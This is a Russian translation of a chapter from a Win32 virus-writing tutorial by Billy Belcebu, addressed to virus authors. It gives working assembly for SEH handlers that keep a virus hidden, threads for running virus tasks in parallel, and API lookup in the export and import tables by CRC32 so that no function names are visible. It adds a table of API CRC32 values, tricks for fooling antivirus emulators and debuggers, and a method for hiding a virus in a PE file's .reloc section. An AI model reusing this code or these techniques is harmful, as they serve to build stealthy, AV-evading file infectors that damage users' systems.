В этой главе я хочу обсудить несколько техник, которые не заслуживают того, чтобы каждой из них выделили по отдельной главе, но тем не менее и полностью забыть о них нельзя :).
Structured Exception Handler
SEH - это очень классная фича, которая есть во всех средах окружения Win32. Очень легко понять, что она делает: если происходит (general protection fault (сокращенно GPF), контроль автоматически передается текущему SEH-обработчику. Вы видите, насколько это может быть полезным? Если что-то пойдет не так, это позволит вашему вирусу оставаться незамеченным :). Указатель на SEH-обработчик находится в FS:[0000]. Поэтому вы можете легко поместить туда ваш собственный SEH-обработчик (но не забудьте сохранить старый!). Если произойдет ошибка, контроль будет передан вашему SEH-обработчику, но стек накроется. К счастью, Micro$oft помещает стек в том виде, в каком он был до установки нашего SEH-обработчика, в ESP+08 :). Поэтому нам надо будет просто восстановить его и поместить старый SEH-обработчик на его старое место :). Давайте посмотрим небольшой пример использования SEH:
;---[ CUT HERE ]-------------------------------------------------------------
.386p
.model flat ; 32 бита рулят
extrn MessageBoxA:PROC ; Задаем API
extrn ExitProcess:PROC
.data
szTitle db "Structured Exception Handler [SEH]",0
szMessage db "Intercepted General Protection Fault!",0
.code
start:
push offset exception_handler ; Push'им смещение нашего
; обработчика
push dword ptr fs:[0000h] ;
mov dword ptr fs:[0000h],esp
errorhandler:
mov esp,[esp+8] ; Помещаем смещ. ориг. SEH
; Ошибка дает нам старый ESP
; в [ESP+8]
pop dword ptr fs:[0000h] ; Восст. старый SEH-обработчик
push 1010h ; Параметры для MessageBoxA
push offset szTitle
push offset szMessage
push 00h
call MessageBoxA ; Показываем сообщене :]
push 00h
call ExitProcess ; Выходим из приложения
setupSEH:
xor eax,eax ; Генерируется исключение
div eax
end start
;---[ CUT HERE ]-------------------------------------------------------------
Как было показано в главе "Антиотладка под Win32", у SEH есть еще полезные применения :). Он одурачивает большинство отладчиков уровня приложения. Для облечения работы по установке нового SEH-обработчика есть следующие макросы, которые делают это за вас (hi Jacky!):
; Put SEH - Sets a new SEH handler
; Put SEH - Устанавливаем новый SEH-обработчик
pseh macro what2do
local @@over_seh_handler
call @@over_seh_handler
mov esp,[esp+08h]
what2do
@@over_seh_handler:
xor edx,edx
push dword ptr fs:[edx]
mov dword ptr fs:[edx],esp
endm
; Restore SEH - Восстанавливает старый SEH-обработчик
rseh macro
xor edx,edx
pop dword ptr fs:[edx]
pop edx
endm
Использовать эти макросы очень просто. Например:
pseh >jmp SEH_handler&rt;
div edx
push 00h
call ExitProcess
SEH_handler:
rseh
[...]
Код, приведенный выше, будет выполняться после макроса 'rseh' вместо прерывания процесса. Это понятно? :)
Мультитредность
Когда мне сказали, что в среде Win32 это очень легко сделать, мне пришло в голову, что это можно использовать для различных целей: выполнение кода во время выполнения другого кода (тоже из нашего вируса). Это было бы очень полезно, так как сэкономит вам время :).
Ок, основное назначение мультизадачной процедуры следующее:
Это кажется трудноватым, но здесь есть две API-функции, которые могут нас спасти. Их имена: CreateThread и WaitForSingleObject. Давайте посмотрим, что об этих функция говорит справочник по Win32 API.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Функция CreateThread создает тред, выполняющийся внутри адресного пространства
вызывающего функцию процесса.
HANDLE CreateThread(
LPSECURITY_ATTRIBUTES lpThreadAttributes, // указ. на аттр. безоп. треда
DWORD dwStackSize, // нач. размер стека треда в байтах
LPTHREAD_START_ROUTINE lpStartAddress, // указатель на функцию треда
LPVOID lpParameter, // аргументы для нового треда
DWORD dwCreationFlags, // флаги создания
LPDWORD lpThreadId // указатель на возвращенный идентификатор треда
);
Параметры
---------
• lpThreadAttributes: указатель на структуру SECURITY_ATTRIBUTES, которая
определяет, сможет ли возвращенный хэндл наследоваться дочерним процессом.
Если lpThreadAttributes равен NULL, хэндл не может наследоваться.
Windows NT: поле lpSecurityDescriptor задает дескриптор безопасности нового
треда. Если lpThreadAttributes равен NULL, тред получает
дескриптор безопасности по умолчанию.
Windows 95: поле lpSecurityDescriptor игнорируется.
• dwStackSize: задает в байтах размер стека нового треда. Если указан 0, то
размер стека будет равен размеру стека главного треда процесса. Стек
автоматически выделяется в адресном пространстве процесса и освобождается,
когда тред завершает свое выполнение. Обратите внимание на то, что размер
стека увеличивается по необходимости. CreateThread пытается выделить
указанное количество байтов, а если это не удается, возвращает ошибку.
• lpStartAddress: стартовый адрес нового треда. Обычно это адрес функции,
имеющая соглашение о вызове WinAPI, которая принимает 32-х битный указатель
в качестве аргумента и возвращает 32-х битный код возврата. Ее прототипом
является:
DWORD WINAPI ThreadFunc( LPVOID );
• lpParameter: задает 32-х битное значение, которое будет передано треду в
качестве аргумента.
• dwCreationFlags: задает дополнительные флаги, контролирующие создание
треда. Если задан флаг CREATE_SUSPENDED, тред создается в замороженном
состоянии и начнет свое выполнение только тогда, когда будет вызвана функция
ResumeThread. Если это значение равно нулю, тред начинает выполняться
немедленно после создания. На данный момент другие значения не
поддерживаются.
• lpThreadId: указывает на 32-х битную переменную, которая получает
идентификатор треда.
Возвращаемые значения
---------------------
• Если вызов функции прошел успешно, возвращаемое значение является хэндлом
нового треда.
• Если вызов функции не удастся, возвращаемое значение будет равно NULL. Чтобы
получить дополнительную информацию об ошибке, вызовите GetLastError.
Windows 95: CreateThread успешно выполняется только тогда, когда она
вызывается в контексте 32-х битной программы. 32-х битная DLL не может создать
дополнительный тред, если эта DLL была вызвана 16-ти битной программой.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Функция WaitForSingleObject возвращает управление программе, когда случается
одно из следующего:
• Указанный объект находится в сигнализирующем состоянии.
• Закончился заданный интервал времени
DWORD WaitForSingleObject(
HANDLE hHandle, // хэндл ожидаемого объекта
DWORD dwMilliseconds // интервал таймаута в миллисекундах
);
Параметры
---------
• hHandle: идентифицирует объект.
Windows NT: хэндл должен иметь доступ типа SYNCHRONIZE.
• dwMilliseconds: задает интервал таймаута в миллисекундах. Функция возвращает
управление, если заданное время закончилось, даже если объект находится в
несигнализирующем состоянии. Если dwMilliseconds равно нулю, функция
тестирует состояние объекта и возвращает управление немедленно. Если
dwMilliseconds равно INFINITE, интервал таймаута бесконечен.
Возвращаемые значения
---------------------
• Если вызов функции прошел успешно, возвращаемое значение указывает событие,
которое заставило функцию вернуться.
• Если вызов функции прошел неуспешно, возвращаемое значение равно
WAIT_FAILED. Чтобы получить дополнительную информацию об ошибке, вызовите
GetLastError.
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
Если этого для вас недостаточно, или вы не понимаете ничего, что написано в описании функций, вот ASM-пример.
;---[ CUT HERE ]-------------------------------------------------------------
.586p
.model flat
extrn CreateThread:PROC
extrn WaitForSingleObject:PROC
extrn MessageBoxA:PROC
extrn ExitProcess:PROC
.data
tit1 db "Parent Process",0
msg1 db "Spread your wings and fly away...",0
tit2 db "Child Process",0
msg2 db "Billy's awesome bullshit!",0
lpParameter dd 00000000h
lpThreadId dd 00000000h
.code
multitask:
push offset lpThreadId ; lpThreadId
push 00h ; dwCreationFlags
push offset lpParameter ; lpParameter
push offset child_process ; lpStartAddress
push 00h ; dwStackSize
push 00h ; lpThreadAttributes
call CreateThread
; EAX = Thread handle
push 00h ; 'Parent Process' blah blah
push offset tit1
push offset msg1
push 00h
call MessageBoxA
push 0FFh ; Ждем бесконечно
push eax ; Хэндл ожидаемого объекта (тред)
call WaitForSingleObject
push 00h ; Выходим из программы
call ExitProcess
child_process:
push 00h ; 'Child Process' blah blah
push offset tit2
push offset msg2
push 00h
call MessageBoxA
ret
end multitask
;---[ CUT HERE ]-------------------------------------------------------------
Если вы протестируете вышеприведенный код, вы увидите, что если вы кликните по кнопке 'Accept' в дочернем процессе, то вам придется кликнуть также по 'Accept' родительского процесса, но если вы закроете родительский процесс, оба messagebox'а будут закрыты. Если родительский процесс умирает, все порожденные им процессы (здесь и далее до конца данного подраздела Billy употребляет слово 'процесс' в значении 'тред' - прим. пер.) также умирают. Но если умрет дочерний процесс, родительский выживет.
Таким образом с помощью WaitForSingleObject вы можете контролировать оба процесса - родительский и дочерний. Представьте себе следующие возможности: поиск по директориям в поисках определенного файла (например, MIRC.INI), и в то же время генерация полиморфного декриптора и распаковка дроппера... Вау! ;)
Смотрите туториал Benny о тредах и фиберах (29A#4) (есть на http://www.wasm.ru - прим. пер.).
CRC32 (IT/ET)
Мы все знаем (по крайней мере, я надеюсь на это) как написать движок поиска API-функций. Это довольно лекго, и существует множество туториалов из которых вы можете выбирать (туториалы JHB, Lord Julus'а, этот туториал...), просто найдите один из них и изучите. Но как вы уже поняли, это займет много места в вашем вирусе (из-за имен функций). Как решить эту проблему, если вы хотите написать маленький вирус?
Решение: CRC32
Я верю, что первым эту технику использовал GriYo в своем потрясающем вирусе Win32.Parvo (исходники которого еще не зарелизены). Вместо поиска совпадающих по именам функций он получает их CRC32 и сравнивает с теми, которые заложены в нем. Если происходит совпадение, то дальше все как обычно. Ок, ок... прежде всего вам нужно погладеть на код, получающий CRC32 :). Давайте возьмем код Zheng[i, переработонный сначала Vecna, а потом мной (оптимизировал пару байтов) ;).
;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедура получения CRC32
; -------------------------
;
; на входе:
; ESI = смещение, блока байтов, чей CRC32 должен быть вычислен
; EDI = размер этого блока
; на выходе:
; EAX = CRC32 данного блока
;
CRC32 proc
cld
xor ecx,ecx ; Оптимизировано мно - на 2
dec ecx ; байта меньше
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; на 1 байт меньше
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
;---[ CUT HERE ]-------------------------------------------------------------
Хорошо, теперьа мы знаем, как получить этот чертов CRC32 определенной строки и/или кода. Но вы ждете здесь другого... хехехе, да! Вы ждете код движка поиска API-функций :).
;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедура GetAPI_ET_CRC32
; -------------------------
;
; Хех, сложное имя? Эта процедура ищет имя API-функции в таблице экспортов
; KERNEL32 (после небольших изменений она будет работать для любой DLL), но
; теперь требуется только CRC32 API-функции, а не вся строка :). Также
; потребуется процедура для получения CRC32 вроде той, которую я привел выше.
;
; на входе:
; EAX = CRC32 имени функции в формате ASCIIz
; на выходе:
; EAX = адрес API-функции
;
GetAPI_ET_CRC32 proc
xor edx,edx
xchg eax,edx ; Помещаем CRC32 функции в EDX
mov word ptr [ebp+Counter],ax ; Сбрасываем счетчик
mov esi,3Ch
add esi,[ebp+kernel] ; Получае PE-заголовок KERNEL32
lodsw
add eax,[ebp+kernel] ; Нормализуем
mov esi,[eax+78h] ; Получаем указатель на
add esi,1Ch ; таблицу экспортов
add esi,[ebp+kernel]
lea edi,[ebp+AddressTableVA] ; Указатель на таблицу адресов
lodsd ; Получаем значение AddressTable
add eax,[ebp+kernel] ; Нормализуем
stosd ; И сохраняем в ее переменной
lodsd ; Получаем значение NameTable
add eax,[ebp+kernel] ; Нормализуем
push eax ; Помещаем ее на стек
stosd ; Сохраняем в ее переменной
lodsd ; Получаем значение OrdinalTable
add eax,[ebp+kernel] ; Нормализуем
stosd ; Сохраняем
pop esi ; ESI = NameTable VA
@?_3: push esi ; Снова сохраняем
lodsd ; Получ. указ. на имя API-ф-ции
add eax,[ebp+kernel] ; Нормализуем
xchg edi,eax ; Сохраняем указатель в EDI
mov ebx,edi ; И в EBX
push edi ; Сохраняем EDI
xor al,al ; Доходим до NULL'а
scasb ; Это конец имени API-функции
jnz $-1
pop esi ; ESI = Указ. на имя API-ф-ции
sub edi,ebx ; EDI = Размер имени API-ф-ции
push edx ; Сохраняем CRC32 функции
call CRC32 ; Получаем текущий CRC функции
pop edx ; Восстанавливаем CRC32 функции
cmp edx,eax ; Они совпадают?
jz @?_4 ; Если да, это то, что нам надо
pop esi ; Восст. указ. на имя функции
add esi,4 ; Переходим к следующему
inc word ptr [ebp+Counter] ; И увеличиваем знач. счетчика
jmp @?_3 ; Получаем следующую API-ф-цию!
@?_4:
pop esi ; Убираем мусор из стека
movzx eax,word ptr [ebp+Counter] ; AX = счетчик
shl eax,1 ; *2 (это массив слов)
add eax,dword ptr [ebp+OrdinalTableVA] ; Нормализуем
xor esi,esi ; Очищаем ESI
xchg eax,esi ; ESI = Указ. на ординал; EAX=0
lodsw ; В AX получаем ординал
shl eax,2 ; И с его помощью переходим к
add eax,dword ptr [ebp+AddressTableVA] ; AddressTable (массив
xchg esi,eax ; двойных слов)
lodsd ; Получаем адресс API RVA
add eax,[ebp+kernel] ; и нормализуем!! Все!
ret
GetAPI_ET_CRC32 endp
AddressTableVA dd 00000000h ;\
NameTableVA dd 00000000h ; &rt; В ЭТОМ ПОРЯДКЕ!!
OrdinalTableVA dd 00000000h ;/
kernel dd 0BFF70000h ; Подгоните под свои нужды ;)
Counter dw 0000h
;---[ CUT HERE ]-------------------------------------------------------------
Далее следует эквивалентный код, но работающий с таблицей импортов. Таким образом вы сможете написать перпроцессный резидент с помощью одних только CRC32 имен API-функций ;).
;---[ CUT HERE ]-------------------------------------------------------------
;
; Процедура GetAPI_IT_CRC32
; -------------------------
;
; Эта процедура ищет в таблице импортов API-функция, CRC32 которой совпадает
; с переданным процедуре. Это полезно для создания перпроцессных резидентов
; (смотри главу "Перпроцессная резидентность" в данном туториале).
;
; на входе:
; EAX = CRC32 имени API-функции в формате ASCIIz
; на выходе:
; EAX = адрес API-функции
; EBX = указатель на адрес API-функции в таблице импортов
; CF = устанавливаем, если вызов функции не удался
;
GetAPI_IT_CRC32 proc
mov dword ptr [ebp+TempGA_IT1],eax ; Сохранить CRC32 API-функции
; на будущее
mov esi,dword ptr [ebp+imagebase] ; ESI = база образа
add esi,3Ch ; Получ. указ. на PE-заголовок
lodsw ; AX = тот указатель
cwde ; Очищаем MSW EAX'а
add eax,dword ptr [ebp+imagebase] ; Нормализуем указатель
xchg esi,eax ; ESI = такой указатель
lodsd ; Получаем DWORD
cmp eax,"EP" ; Это метка PE?
jnz nopes ; Нет... duh!
add esi,7Ch ; ESI = PE-заголовок+80h
lodsd ; Ищем .idata
push eax
lodsd ; Получаем размер
mov ecx,eax
pop esi
add esi,dword ptr [ebp+imagebase] ; Нормализуем
SearchK32:
push esi ; Сохраняем ESI в стек
mov esi,[esi+0Ch] ; ESI = указатель на имя
add esi,dword ptr [ebp+imagebase] ; Нормализуем
lea edi,[ebp+K32_DLL] ; Указатель на 'KERNEL32.dll'
mov ecx,K32_Size ; Размер строки
cld ; Очищаем флаг направления
push ecx ; Сохраняем ECX
rep cmpsb ; Сохраняем байты
pop ecx ; Восстанавливаем ECX
pop esi ; Восстанавливаем ESI
jz gotcha ; Были ли они равны? Черт...
add esi,14h ; Получаем другое поле
jmp SearchK32 ; И ищем снова
gotcha:
cmp byte ptr [esi],00h ; Это OriginalFirstThunk 0?
jz nopes ; Проклятье, если так...
mov edx,[esi+10h] ; Получаем FirstThunk
add edx,dword ptr [ebp+imagebase] ; Нормализуем
lodsd ; Получаем его
or eax,eax ; Это 0?
jz nopes ; Проклятье...
xchg edx,eax ; Получаем указатель на него
add edx,[ebp+imagebase]
xor ebx,ebx
loopy:
cmp dword ptr [edx+00h],00h ; Последний RVA?
jz nopes ; Проклятье...
cmp byte ptr [edx+03h],80h ; Ординал?
jz reloop ; Проклятье...
mov edi,[edx] ; Получаем указатель на
add edi,dword ptr [ebp+imagebase] ; импортированную API-функцию
inc edi
inc edi
mov esi,edi ; ESI = EDI
pushad ; Сохраняем все регистры
eosz_edi ; В EDI получаем конец строки
sub edi,esi ; EDI = размер имени функции
call CRC32
mov [esp+18h],eax ; В ECX - результат после POPAD
popad
cmp dword ptr [ebp+TempGA_IT1],ecx ; CRC32 данной API-функции
jz wegotit ; совпадает с той, которая
; нам нужна?
reloop:
inc ebx ; Если, совершаем следующий
add edx,4 ; проход и ищем нужную функцию
; в таблице импортов
loop loopy
wegotit:
shl ebx,2 ; Умножаем на 4
add ebx,eax ; Добавляем FirstThunk
mov eax,[ebx] ; EAX = адрес API-функции
test al,00h ; Пересечение: избегаем STC :)
org $-1
nopes:
stc
ret
GetAPI_IT_CRC32 endp
TempGA_IT1 dd 00000000h
imagebase dd 00400000h
K32_DLL db "KERNEL32.dll",0
K32_Size equ $-offset K32_DLL
;---[ CUT HERE ]-------------------------------------------------------------
Вы счастливы? Это рульно и легко! И, конечно, вы можете избежать возможных подозрений пользователя относительно вашего вируса (если то не зашифрован), так нет видимых имен API-функций :). Далее я перечеслю CRC32 некоторых API-функций (включая NULL в конце имени), но если вы захотите узнать CRC32 другой функции, то вы сможете это сделать с помощью маленькой программки, исходник которой я также прилагаю.
CRC32 некоторых API-функций:
Имя API-функции CRC32 Имя API-функции CRC32
--------------- ----- --------------- -----
CreateFileA 08C892DDFh CloseHandle 068624A9Dh
FindFirstFileA 0AE17EBEFh FindNextFileA 0AA700106h
FindClose 0C200BE21h CreateFileMappingA 096B2D96Ch
GetModuleHandleA 082B618D4h GetProcAddress 0FFC97C1Fh
MapViewOfFile 0797B49ECh UnmapViewOfFile 094524B42h
GetFileAttributesA 0C633D3DEh SetFileAttributesA 03C19E536h
ExitProcess 040F57181h SetFilePointer 085859D42h
SetEndOfFile 059994ED6h DeleteFileA 0DE256FDEh
GetCurrentDirectoryA 0EBC6C18Bh SetCurrentDirectoryA 0B2DBD7DCh
GetWindowsDirectoryA 0FE248274h GetSystemDirectoryA 0593AE7CEh
LoadLibraryA 04134D1ADh GetSystemTime 075B7EBE8h
CreateThread 019F33607h WaitForSingleObject 0D4540229h
ExitThread 0058F9201h GetTickCount 0613FD7BAh
FreeLibrary 0AFDF191Fh WriteFile 021777793h
GlobalAlloc 083A353C3h GlobalFree 05CDF6B6Ah
GetFileSize 0EF7D811Bh ReadFile 054D8615Ah
GetCurrentProcess 003690E66h GetPriorityClass 0A7D0D775h
SetPriorityClass 0C38969C7h FindWindowA 085AB3323h
PostMessageA 086678A04h MessageBoxA 0D8556CF7h
RegCreateKeyExA 02C822198h RegSetValueExA 05B9EC9C6h
MoveFileA 02308923Fh CopyFileA 05BD05DB1h
GetFullPathNameA 08F48B20Dh WinExec 028452C4Fh
CreateProcessA 0267E0B05h _lopen 0F2F886E3h
MoveFileExA 03BE43958h CopyFileExA 0953F2B64h
OpenFile 068D8FC46h
Вам нужен CRC32 другой функции?
Это вполне возможно, поэтому я прилагаю исходник маленькой, но эффективной программы, которую я сделал сам для себя. Надеюсь, что вам она также будет полезной.
;---[ CUT HERE ]-------------------------------------------------------------
.586
.model flat
.data
extrn ExitProcess:PROC
extrn MessageBoxA:PROC
extrn GetCommandLineA:PROC
titulo db "GetCRC32 by Billy Belcebu/iKX",0
message db "SetEndOfFile" ; Поместите здесь строку, чей
; CRC32 вам нужно узнать
_ db 0
db "CRC32 is "
crc32_ db "00000000",0
.code
test:
mov edi,_-message
lea esi,message ; Загружаем указатель на имя
; API-функции
call CRC32 ; Получаем CRC32
lea edi,crc32_ ; Конвертируем hex в текст
call HexWrite32
mov _," " ; Пусть 0 станет пробелом
push 00000000h ; Отображаем messagebox с
push offset titulo ; именем API-функции и ее CRC32
push offset message
push 00000000h
call MessageBoxA
push 00000000h
call ExitProcess
HexWrite8 proc ; Этот код был взят из носителя
mov ah,al ; 1-ого поколения вируса
and al,0Fh ; Bizatch
shr ah,4
or ax,3030h
xchg al,ah
cmp ah,39h
ja @@4
@@1:
cmp al,39h
ja @@3
@@2:
stosw
ret
@@3:
sub al,30h
add al,'A' - 10
jmp @@2
@@4:
sub ah,30h
add ah,'A' - 10
jmp @@1
HexWrite8 endp
HexWrite16 proc
push ax
xchg al,ah
call HexWrite8
pop ax
call HexWrite8
ret
HexWrite16 endp
HexWrite32 proc
push eax
shr eax, 16
call HexWrite16
pop eax
call HexWrite16
ret
HexWrite32 endp
CRC32 proc
cld
xor ecx,ecx ; Оптимизированно мной - на 2
; байта меньше
dec ecx
mov edx,ecx
NextByteCRC:
xor eax,eax
xor ebx,ebx
lodsb
xor al,cl
mov cl,ch
mov ch,dl
mov dl,dh
mov dh,8
NextBitCRC:
shr bx,1
rcr ax,1
jnc NoCRC
xor ax,08320h
xor bx,0EDB8h
NoCRC: dec dh
jnz NextBitCRC
xor ecx,eax
xor edx,ebx
dec edi ; на 1 байт меньше
jnz NextByteCRC
not edx
not ecx
mov eax,edx
rol eax,16
mov ax,cx
ret
CRC32 endp
end test
;---[ CUT HERE ]-------------------------------------------------------------
Круто, правда? :)
Антиэмуляторы
Как и многие другие части этого документа, эта маленькая глава является совместным проектом между мной и Super'ом. Далее следует небольшой список того, что необходимо знать для обмана AV'ишных эмуляторов, как и некоторых небольших отладчиков. Наслаждайтесь!
- Генерирование ошибок с помощью SEH. Пример:
pseh >jmp virus_code&rt;
dec byte ptr [edx] ; >-- или другое исключение, например 'div edx'
[...] >-- если мы здесь, нас отлаживают!
virus_code:
rseh
[...] >-- код вируса :)
- Использование сегментного префикса CS. Например:
jmp cs:[shit]
call cs:[shit]
- Использование RETF. Пример:
push cs
call shit
retf
- Игра с DS. Пример:
push ds
pop eax
или даже лучше:
push ds
pop ax
или еще лучше:
mov eax,ds
push eax
pop ds
- Детектирование эмулятора NODiCE с помощью трюка PUSH CS/POP REG :
mov ebx,esp
push cs
pop eax
cmp esp,ebx
jne nod_ice_detected
- Использование недокументированных опкодов:
salc ; db 0D6h
bpice ; db 0F1h
- Использование тредов и/или фиберов
Я надеюсь, что все это окажется для вас полезным :).
Перезапись секции .reloc
Это очень интересная тема. Секция '.reloc' полезна только тогда, когда ImageBase PE-файла меняется в силу какой-либо причины, но так как это в 99.9% случаев не происходит, она не нужна. А так как '.reloc' секция очень часть довольно велика, почему бы не хранить там наш вирус? Я предлагаю вам прочитать туториал b0z0 в Xine#3, который называется "Идеи и теории относительно заражения PE", так как в нем содержится много интересной информации.
Если вы хотите перезаписать секцию релокейшенов, сделайте слудующее:
В заголовке секции:
Входной точкой вируса будет VirtualSize секции. В некоторых случаях это также не заметно (в случае не очень больших вирусов), так как данная секция обычно очень большая.
[C] Billy Belcebu, пер. Aquila